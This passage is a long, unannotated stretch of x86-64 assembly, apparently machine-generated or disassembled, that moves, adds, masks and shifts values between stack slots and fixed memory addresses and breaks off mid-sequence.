mov rax, qword [rsp + 0x7398]
mov rcx, qword [rsp + 0x7d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6940]
mov dword [rcx], eax
mov rax, qword [rsp + 0x81e0]
movzx eax, word [rax]
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0x4f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x62]
and eax, ecx
mov byte [0x14011309b], al
mov rax, qword [rsp + 0x4f28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a0]
add eax, ecx
mov word [rsp + 0xa70], ax
movzx eax, byte [rsp + 0x1b5]
mov byte [rsp + 0x1d2], al
movzx eax, byte [rsp + 0x122]
mov rcx, qword [rsp + 0x6640]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5fe8]
mov byte [rcx], al
mov rax, qword [rsp + 0x60e8]
mov rcx, qword [rsp + 0x6a78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d88], eax
mov rax, qword [rsp + 0x8248]
mov eax, dword [rax]
mov dword [rsp + 0x31bc], eax
mov rax, qword [rsp + 0x5448]
mov rcx, qword [rsp + 0x7de0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x80c0], rax
lea rax, [rsp + 0x4c00]
mov qword [rsp + 0x8590], rax
mov rax, qword [rsp + 0x7b78]
movsx eax, word [rax]
movsx ecx, word [0x140113094]
add eax, ecx
mov word [rsp + 0xbc8], ax
lea rax, [rsp + 0xa18]
mov qword [0x140114900], rax
movzx eax, word [rsp + 0xc1c]
movzx ecx, word [rsp + 0xddc]
shl eax, cl
mov word [rsp + 0x9fc], ax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x8598], rax
movsx eax, word [0x140113100]
movsx ecx, word [rsp + 0xb04]
sar eax, cl
mov rcx, qword [rsp + 0x7a98]
mov word [rcx], ax
mov rax, qword [rsp + 0x7058]
mov rax, qword [rax]
mov qword [rsp + 0x85a0], rax
mov rax, qword [rsp + 0x6180]
mov ecx, dword [rsp + 0x302c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5948]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2d88]
mov dword [rsp + 0x31c0], eax
mov rax, qword [rsp + 0x5040]
mov rcx, qword [rsp + 0x7648]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ce0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
and eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x7e58]
movzx eax, word [rax]
mov word [0x140114908], ax
lea rax, [rsp + 0xa30]
mov qword [rsp + 0x85a8], rax
movzx eax, byte [rsp + 0x7f]
mov rcx, qword [rsp + 0x69b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x171], al
movzx eax, byte [rsp + 0x15a]
mov byte [rsp + 0x1d3], al
mov rax, qword [rsp + 0x82a0]
mov ecx, dword [rsp + 0x3184]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6ce8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6860]
mov rcx, qword [rsp + 0x7ce0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7530], rax
mov rax, qword [rsp + 0x6958]
mov rax, qword [rax]
mov qword [rsp + 0x85b0], rax
mov rax, qword [rsp + 0x6cb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d58], eax
movzx eax, word [rsp + 0xbf4]
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0x7c78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x147]
and eax, ecx
mov byte [0x14011301b], al
movsx eax, word [rsp + 0x910]
movsx ecx, word [rsp + 0x868]
sub eax, ecx
mov word [rsp + 0xd98], ax
mov rax, qword [rsp + 0x7218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x63a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x86], al
lea rax, [0x140114216]
mov qword [rsp + 0x85b8], rax
movzx eax, byte [rsp + 0x148]
movzx ecx, byte [rsp + 0x10f]
sub eax, ecx
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x6cb8]
mov eax, dword [rax]
mov dword [rsp + 0x31c4], eax
mov rax, qword [rsp + 0x84c8]
mov ecx, dword [rsp + 0x3030]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2dfc], eax
mov rax, qword [rsp + 0x6250]
movzx ecx, al
mov rax, qword [rsp + 0x55b0]
shl rax, cl
mov rcx, qword [rsp + 0x7c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6d08]
mov qword [rsp + 0x85c0], rax
mov rax, qword [0x140114690]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb6c]
or eax, ecx
mov word [0x14011305c], ax
mov rax, qword [rsp + 0x8078]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdf4]
sar eax, cl
mov rcx, qword [rsp + 0x4e38]
mov word [rcx], ax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x85c8], rax
movzx eax, word [0x140114570]
mov rcx, qword [rsp + 0x8088]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7338]
mov word [rcx], ax
mov rax, qword [rsp + 0x6cb0]
movzx eax, byte [rax]
mov byte [rsp + 0x1d4], al
mov rax, qword [rsp + 0x7378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e4c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x79b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7450]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5fd8]
mov rax, qword [rax]
mov qword [rsp + 0x85d0], rax
mov rax, qword [rsp + 0x4bb0]
mov rcx, qword [rsp + 0x7e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5108]
mov dword [rcx], eax
lea rax, [rsp + 0xa00]
mov qword [0x140114910], rax
lea rax, [rsp + 0xd50]
mov qword [rsp + 0x85d8], rax
mov rax, qword [rsp + 0x5738]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1be]
sub eax, ecx
mov rcx, qword [rsp + 0x8598]
mov byte [rcx], al
movsx eax, word [rsp + 0xd78]
mov rcx, qword [rsp + 0x5780]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xde8], ax
movzx eax, byte [rsp + 0x72]
mov byte [rsp + 0x1d5], al
mov rax, qword [rsp + 0x7150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x84c8]
mov dword [rcx], eax
lea rax, [rsp + 0x5cf0]
mov qword [rsp + 0x85e0], rax
mov eax, dword [rsp + 0x2cfc]
mov ecx, dword [rsp + 0x2e14]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fd8], eax
mov rax, qword [rsp + 0x5bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x53e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6248]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6458]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6d60]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140113158], ax
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x1d6], al
movzx eax, word [rsp + 0xc98]
movzx ecx, word [rsp + 0xe0c]
add eax, ecx
mov word [rsp + 0xc60], ax
movzx eax, byte [0x140113082]
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0x60d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b40]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x19d], al
lea rax, [rsp + 0x84f0]
mov qword [rsp + 0x85e8], rax
mov rax, qword [rsp + 0x7d30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2b8c]
shr eax, cl
mov dword [rsp + 0x2ee8], eax
mov rax, qword [rsp + 0x60c8]
mov rcx, qword [rsp + 0x6248]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8590]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ae8]
mov dword [rsp + 0x31c8], eax
mov rax, qword [0x140114480]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4c]
shl eax, cl
mov byte [0x14011305e], al
movsx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0x56e0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x63b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5888]
movzx eax, word [rax]
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0x7d18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7338]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xca0], ax
movsx eax, word [rsp + 0xad4]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x75e0]
mov qword [rsp + 0x85f0], rax
mov rax, qword [rsp + 0x6ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2da4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8430]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8388]
mov eax, dword [rax]
mov dword [rsp + 0x31cc], eax
mov rax, qword [rsp + 0x6f18]
mov rcx, qword [rsp + 0x7910]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f48], rax
mov rax, qword [rsp + 0x5b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3b]
add eax, ecx
mov rcx, qword [0x140114578]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5110]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7448]
mov byte [rcx], al
mov rax, qword [rsp + 0x51b8]
movzx eax, word [rax]
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7040]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x61d0]
mov word [rcx], ax
lea rax, [rsp + 0x134]
mov qword [rsp + 0x85f8], rax
mov rax, qword [rsp + 0x7b58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3080]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x310c], eax
mov rax, qword [rsp + 0x8548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x53b0]
mov qword [rsp + 0x8600], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8600]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8008], rax
lea rax, [rsp + 0x6d20]
mov qword [rsp + 0x8608], rax
mov rax, qword [rsp + 0x6298]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d78]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c74], eax
mov rax, qword [rsp + 0x8400]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
xor eax, ecx
mov byte [0x1401130b7], al
movzx eax, byte [rsp + 0x1b9]
mov byte [rsp + 0x1d8], al
movzx eax, word [rsp + 0xd50]
movzx ecx, word [0x1401130f4]
sar eax, cl
mov word [rsp + 0xe90], ax
lea rax, [rsp + 0x878]
mov qword [rsp + 0x8610], rax
mov rax, qword [rsp + 0x7100]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov rcx, qword [rsp + 0x7310]
mov byte [rcx], al
mov rax, qword [rsp + 0x7e40]
mov rcx, qword [0x140113008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8490], rax
lea rax, [rsp + 0x2c94]
mov qword [rsp + 0x8618], rax
mov eax, dword [rsp + 0x3050]
mov ecx, dword [rsp + 0x31bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c60], eax
mov rax, qword [rsp + 0x8418]
mov rax, qword [rax]
mov qword [rsp + 0x8620], rax
movsx eax, word [rsp + 0xcd8]
movsx ecx, word [rsp + 0xd90]
add eax, ecx
mov word [0x140113124], ax
mov rax, qword [rsp + 0x6198]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe5]
add eax, ecx
mov byte [rsp + 0xb1], al
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7a58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb9], al
mov rax, qword [rsp + 0x7d18]
movzx eax, word [rax]
mov word [rsp + 0xf78], ax
movzx eax, word [rsp + 0xdd0]
movzx ecx, word [rsp + 0xe54]
sub eax, ecx
mov rcx, qword [rsp + 0x6a50]
mov word [rcx], ax
mov rax, qword [0x140113008]
mov qword [rsp + 0x8628], rax
mov rax, qword [rsp + 0x6570]
mov ecx, dword [rsp + 0x3150]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3038], eax
mov rax, qword [rsp + 0x7c30]
mov rcx, qword [rsp + 0x6b10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x52f0], rax
lea rax, [rsp + 0x2d5c]
mov qword [rsp + 0x8630], rax
mov rax, qword [rsp + 0x6880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x91c]
and eax, ecx
mov word [rsp + 0x940], ax
lea rax, [rsp + 0xd1]
mov qword [0x140114918], rax
mov rax, qword [0x140114508]
movzx eax, byte [rax]
mov byte [rsp + 0x1d9], al
movsx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x6ba0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xaac], ax
movzx eax, word [rsp + 0xca0]
mov word [rsp + 0xf7c], ax
mov rax, qword [0x140114160]
movzx ecx, al
mov rax, qword [rsp + 0x77f0]
shl rax, cl
mov rcx, qword [rsp + 0x5480]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7980]
mov rcx, qword [rsp + 0x7e40]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ab8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x300c]
mov dword [rsp + 0x31d0], eax
mov rax, qword [rsp + 0x7858]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6020]
mov qword [rsp + 0x8638], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8638]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2d80], eax
lea rax, [rsp + 0x7f]
mov qword [rsp + 0x8640], rax
lea rax, [rsp + 0x19d]
mov qword [0x140114920], rax
mov rax, qword [rsp + 0x7288]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ee8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1cd], al
movsx eax, word [rsp + 0xf74]
movsx ecx, word [rsp + 0xec8]
add eax, ecx
mov word [rsp + 0xf00], ax
movzx eax, word [rsp + 0xa70]
mov word [rsp + 0xf80], ax
mov rax, qword [rsp + 0x5180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6bc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8060], rax
mov eax, dword [rsp + 0x2cf4]
mov dword [rsp + 0x31d4], eax
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x53f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b18], eax
mov rax, qword [rsp + 0x5498]
mov rcx, qword [rsp + 0x6238]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x83a8], rax
lea rax, [rsp + 0x6d]
mov qword [rsp + 0x8648], rax
mov rax, qword [rsp + 0x68d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x61e0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114668]
mov byte [rcx], al
mov rax, qword [rsp + 0x7bb0]
movzx eax, byte [rax]
movzx ecx, byte [0x140113097]
add eax, ecx
mov byte [rsp + 0x60], al
lea rax, [rsp + 0xaa4]
mov qword [rsp + 0x8650], rax
movzx eax, word [rsp + 0xe1c]
movzx ecx, word [rsp + 0xba4]
sub eax, ecx
mov rcx, qword [rsp + 0x5c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b88]
mov ecx, dword [rsp + 0x2e88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2be0], eax
mov rax, qword [rsp + 0x7a68]
mov qword [rsp + 0x8658], rax
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x51b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7f98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3188]
mov dword [rsp + 0x31d8], eax
movzx eax, word [rsp + 0x9fc]
mov rcx, qword [rsp + 0x8180]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc1c], ax
movzx eax, byte [rsp + 0x142]
mov rcx, qword [rsp + 0x7100]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140113052], al
lea rax, [rsp + 0x153]
mov qword [rsp + 0x8660], rax
movsx eax, word [rsp + 0xb88]
movsx ecx, word [rsp + 0xbd8]
shl eax, cl
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
movsx eax, word [rsp + 0xd8c]
movsx ecx, word [rsp + 0xac0]
xor eax, ecx
mov rcx, qword [rsp + 0x5160]
mov word [rcx], ax
mov rax, qword [rsp + 0x50a8]
movzx eax, byte [rax]
mov byte [rsp + 0x1da], al
mov rax, qword [rsp + 0x7720]
mov rcx, qword [rsp + 0x8418]
mov qword [rsp + 0x8668], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8668]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6578], rax
lea rax, [rsp + 0x83c8]
mov qword [rsp + 0x8670], rax
mov rax, qword [rsp + 0x8630]
mov rcx, qword [rsp + 0x8248]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2de4], eax
mov rax, qword [rsp + 0x5550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af4], eax
lea rax, [rsp + 0xd98]
mov qword [0x140114928], rax
mov rax, qword [0x140114708]
movzx eax, word [rax]
mov word [rsp + 0xf84], ax
mov rax, qword [rsp + 0x8058]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18d]
sub eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0x70a8]
movzx eax, word [rax]
mov word [rsp + 0xf88], ax
mov rax, qword [rsp + 0x8520]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe94]
and eax, ecx
mov word [rsp + 0xd28], ax
mov rax, qword [rsp + 0x7e28]
mov rcx, qword [rsp + 0x78b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7bf8]
mov qword [rcx], rax
lea rax, [rsp + 0x83c8]
mov qword [rsp + 0x8678], rax
mov rax, qword [rsp + 0x5680]
mov ecx, dword [rsp + 0x30c8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6570]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov dword [rsp + 0x31dc], eax
mov rax, qword [rsp + 0x5f60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5470]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401141f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7c48]
movzx eax, word [rax]
mov rcx, qword [0x1401148c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xca0], ax
mov rax, qword [rsp + 0x7548]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c4]
add eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov byte [rcx], al
lea rax, [rsp + 0x8d]
mov qword [rsp + 0x8680], rax
mov rax, qword [rsp + 0x6808]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b40]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7408]
mov byte [rcx], al
lea rax, [rsp + 0x60a8]
mov qword [rsp + 0x8688], rax
mov eax, dword [rsp + 0x2c38]
mov rcx, qword [rsp + 0x6600]
mov qword [rsp + 0x8690], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8690]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x82a0]
mov dword [rcx], eax
mov eax, dword [0x140114150]
mov dword [rsp + 0x31e0], eax
mov rax, qword [rsp + 0x7118]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4e60]
shl rax, cl
mov rcx, qword [rsp + 0x74b8]
mov qword [rcx], rax
lea rax, [rsp + 0xa4]
mov qword [0x140114930], rax
mov rax, qword [rsp + 0x7ee8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9f8]
xor eax, ecx
mov word [rsp + 0x938], ax
lea rax, [rsp + 0x18f]
mov qword [rsp + 0x8698], rax
movsx eax, word [rsp + 0xec4]
mov rcx, qword [rsp + 0x69e0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x81c8]
mov word [rcx], ax
lea rax, [rsp + 0xe4c]
mov qword [rsp + 0x86a0], rax
mov rax, qword [rsp + 0x6bf8]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x59e8], rax
mov rax, qword [rsp + 0x4c00]
mov rcx, qword [rsp + 0x6630]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
lea rax, [rsp + 0x2dac]
mov qword [rsp + 0x86a8], rax
mov rax, qword [rsp + 0x5c88]
mov rcx, qword [rsp + 0x6068]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7068]
mov dword [rcx], eax
lea rax, [rsp + 0x84c]
mov qword [0x140114938], rax
mov rax, qword [rsp + 0x81f8]
movzx eax, byte [rax]
mov byte [rsp + 0x1db], al
movzx eax, word [rsp + 0xa34]
mov rcx, qword [rsp + 0x7590]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xca8], ax
movzx eax, byte [rsp + 0x1d6]
movzx ecx, byte [rsp + 0x1c0]
and eax, ecx
mov byte [rsp + 0x150], al
lea rax, [rsp + 0x13a]
mov qword [rsp + 0x86b0], rax
mov rax, qword [rsp + 0x8590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6db0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5a90], rax
lea rax, [rsp + 0x316c]
mov qword [rsp + 0x86b8], rax
mov rax, qword [rsp + 0x7380]
mov rcx, qword [rsp + 0x7b08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6720], rax
mov eax, dword [0x140114150]
mov dword [rsp + 0x31e4], eax
movsx eax, word [rsp + 0x9bc]
mov rcx, qword [rsp + 0x6de8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401144c0], ax
mov rax, qword [rsp + 0x6028]
movzx eax, byte [rax]
movzx ecx, byte [0x140113033]
sub eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8018]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0x5bf0]
movzx eax, word [rax]
mov word [rsp + 0xf8c], ax
mov rax, qword [rsp + 0x54d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
shl eax, cl
mov rcx, qword [rsp + 0x6b68]
mov byte [rcx], al
mov rax, qword [rsp + 0x7ce0]
mov rax, qword [rax]
mov qword [rsp + 0x86c0], rax
mov rax, qword [rsp + 0x6258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8370]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x67e8], rax
mov eax, dword [rsp + 0x2d50]
mov ecx, dword [rsp + 0x2da4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d34], eax
lea rax, [rsp + 0x2bbc]
mov qword [rsp + 0x86c8], rax
movzx eax, byte [rsp + 0xd0]
mov byte [0x1401142b4], al
movsx eax, word [rsp + 0xad4]
movsx ecx, word [rsp + 0xdac]
and eax, ecx
mov word [rsp + 0xcc8], ax
mov rax, qword [0x140114670]
movzx eax, word [rax]
mov word [rsp + 0xf90], ax
movzx eax, byte [rsp + 0x12f]
mov rcx, qword [rsp + 0x6d00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x95], al
movsx eax, byte [rsp + 0x15a]
mov rcx, qword [0x140114868]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0x6190]
mov qword [rsp + 0x86d0], rax
mov eax, dword [rsp + 0x2e6c]
mov ecx, dword [rsp + 0x2ff4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x80b0]
mov qword [rsp + 0x86d8], rax
mov rax, qword [rsp + 0x6a78]
mov ecx, dword [rsp + 0x2c30]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7908]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf78]
movzx ecx, word [rsp + 0xd1c]
add eax, ecx
mov word [0x140113134], ax
mov rax, qword [rsp + 0x7b00]
movzx eax, byte [rax]
movzx ecx, byte [0x140113016]
and eax, ecx
mov byte [rsp + 0x118], al
movzx eax, word [rsp + 0x988]
mov word [rsp + 0xf94], ax
movsx eax, word [rsp + 0xc00]
movsx ecx, word [rsp + 0xc44]
add eax, ecx
mov rcx, qword [rsp + 0x78c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7460]
movzx eax, byte [rax]
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x31c4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5bd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ff0]
mov qword [rsp + 0x86e0], rax
mov eax, dword [rsp + 0x3060]
mov ecx, dword [rsp + 0x2d90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ea4], eax
mov rax, qword [rsp + 0x81d0]
mov rcx, qword [rsp + 0x56a8]
mov qword [rsp + 0x86e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x86e8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x53c0]
mov qword [rcx], rax
lea rax, [rsp + 0x14a]
mov qword [rsp + 0x86f0], rax
mov rax, qword [rsp + 0x75c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5dd8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401147d8], ax
movzx eax, word [rsp + 0x91c]
movzx ecx, word [rsp + 0xc3c]
sar eax, cl
mov word [rsp + 0x90c], ax
lea rax, [rsp + 0xfc]
mov qword [rsp + 0x86f8], rax
movsx eax, word [rsp + 0x890]
movsx ecx, word [rsp + 0xe88]
xor eax, ecx
mov word [rsp + 0x8e0], ax
mov rax, qword [rsp + 0x5bc0]
mov rcx, qword [rsp + 0x82f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ab8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x312c]
mov dword [rsp + 0x31e8], eax
mov rax, qword [rsp + 0x8360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7418]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76b8]
mov qword [rcx], rax
lea rax, [rsp + 0x2ca4]
mov qword [rsp + 0x8700], rax
movzx eax, word [rsp + 0xdb8]
movzx ecx, word [rsp + 0x92c]
add eax, ecx
mov word [rsp + 0xdcc], ax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [0x1401142e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401130ba], al
mov rax, qword [rsp + 0x7fb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7478]
mov word [rcx], ax
movzx eax, word [rsp + 0xdcc]
mov word [rsp + 0xf98], ax
movsx eax, byte [0x140113053]
movsx ecx, byte [rsp + 0x119]
add eax, ecx
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x2ce8]
mov dword [rsp + 0x31ec], eax
mov rax, qword [rsp + 0x7318]
mov rcx, qword [rsp + 0x7c30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6608]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c70]
mov rax, qword [rax]
mov qword [rsp + 0x8708], rax
mov rax, qword [rsp + 0x58c8]
mov ecx, dword [rsp + 0x2f80]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2cd4], eax
mov rax, qword [rsp + 0x6688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x92]
add eax, ecx
mov byte [rsp + 0x8f], al
mov rax, qword [0x140114390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c6]
sar eax, cl
mov byte [0x1401130bb], al
lea rax, [rsp + 0x12c]
mov qword [rsp + 0x8710], rax
mov rax, qword [rsp + 0x75b0]
